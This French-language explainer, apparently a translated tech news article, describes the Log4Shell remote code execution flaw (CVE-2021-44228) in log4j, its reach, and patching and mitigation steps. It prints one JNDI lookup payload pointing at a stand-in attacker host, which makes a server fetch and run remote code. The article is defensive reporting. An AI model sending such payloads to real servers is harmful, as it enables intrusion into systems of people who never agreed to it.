L’exploit critique RCE Zero-Day trouvé dans la bibliothèque de journalisation Java populaire log4j, affecte une grande partie d’Internet

Une vulnérabilité critique d’exécution de code à distance a été découverte dans log4j, un outil de journalisation très populaire utilisé par la plupart des acteurs de l’industrie. C’est extrêmement grave, affectant presque tous les serveurs exécutant Java, et est très simple à exploiter, vous voudrez donc mettre à jour et atténuer le problème dès que possible.

Comment cela marche-t-il?

Le bogue, suivi par CVE-2021-44228, affecte probablement presque toutes les applications Java utilisant log4j, ce qui est assez nombreux compte tenu de son omniprésence. Si votre application enregistre une chaîne envoyée par un utilisateur, elle est probablement vulnérable. En ce qui concerne les exploits, c’est l’un des pires cette année, car il peut cibler pratiquement n’importe quel serveur exécutant Java d’une manière ou d’une autre (bien que le vecteur d’attaque principal puisse être plus difficile sur les versions JDK modernes, plus d’informations ci-dessous).

Essentiellement, l’exploit permet à un attaquant d’envoyer à votre serveur n’importe quelle chaîne comme la suivante, et s’il l’enregistre quelque part dans votre application, votre serveur exécutera le code hébergé à cette adresse.

${jndi:ldap://attacker.com/a}

Cela fonctionne car, lors de l’analyse de cette chaîne au format unique, log4j fera une demande via Java Naming and Directory Interface, qui finit par envoyer une demande de téléchargement à un point de terminaison arbitraire. Il télécharge et désérialise le .class fichier de manière non sécurisée. Étant donné que les classes Java peuvent avoir des initialiseurs statiques qui s’exécutent chaque fois que la classe est compilée et référencée, cela entraîne l’exécution de code arbitraire à distance à partir d’une simple chaîne courte. Par exemple, un client peut définir son agent utilisateur sur cette chaîne, ou l’inclure dans une requête, et lorsque votre serveur l’enregistre, il déclenche l’exploit.

C’est assez horrible, marquant un 9,8 sur l’échelle CVSS. Il tombe juste en dessous du pire score, car malgré son horreur, il n’affecte aucune ressource en dehors de la portée du système ciblé (mais donne un accès au niveau de l’application au serveur exécutant le consignateur).

EN RELATION: Comment les vulnérabilités de sécurité sont-elles classées ? (CVSS)

Cela affectera beaucoup d’applications. Par exemple, Minecraft a été l’un des premiers à diffuser la nouvelle et à corriger l’exploit, car il était possible d’exécuter du code à la fois sur les serveurs et sur tous les joueurs connectés à un serveur via les messages de discussion en jeu. Une mise à jour de correctif pour le jeu a été publiée pour corriger le bogue.

Des services populaires tels que Steam et iCloud se sont déjà révélés vulnérables, et la société de recherche en sécurité GreyNoise a déjà détecté plusieurs adresses IP exécutant des analyses pour les serveurs vulnérables.

@GreyNoise voit actuellement 2 IP uniques analyser Internet pour la nouvelle vulnérabilité Apache Log4j RCE (pas encore de CVE attribué).
Une balise pour suivre cette activité sur https://t.co/QckU3An40q sera disponible sous peu et liée en tant que réponse une fois publiée.

— remy🐀 (@_mattata) 10 décembre 2021

Vous êtes probablement déjà en train de courir log4j, car il est inclus dans des centaines d’autres bibliothèques en tant qu’outil de journalisation standard. Cependant, les versions JDK supérieures à 6u211, 7u201, 8u191, et 11.0.1 ne sont pas affectés par le vecteur d’attaque principal (utilisant LDAP) actuellement exploité. Cela ne veut pas dire que vous ne devriez pas mettre à jour, car le bogue dans log4j + JNDI est toujours sévère et peut également être facilement utilisé avec d’autres vecteurs d’attaque.

Comment je le répare?

Heureusement, il existe déjà un correctif qui le corrige entièrement, vous devez donc mettre à jour vos serveurs dès que possible. Cela affecte également les applications clientes, qui doivent également être mises à jour pour ce correctif critique. Après tout, 3 milliards d’appareils exécutent Java, il faudra donc un certain temps avant qu’il ne soit complètement réparé.

L’exploit a déjà été corrigé dans log4jla dernière version de , 2.15.0-rc2, vous devriez donc la mettre à jour si vous le pouvez. Le correctif a également été rétroporté vers des versions antérieures, étant donné la gravité pour les utilisateurs qui peuvent être bloqués sur les versions héritées.

Si vous utilisez une autre bibliothèque qui utilise log4j, vous devriez toujours pouvoir mettre à jour manuellement dans la plupart des cas, mais si vous ne le pouvez pas, vous pouvez utiliser cet indicateur JVM pour atténuer le problème, ce qui indique simplement log4j de ne jamais faire de recherche lors du formatage des messages.

-Dlog4j2.formatMsgNoLookups=true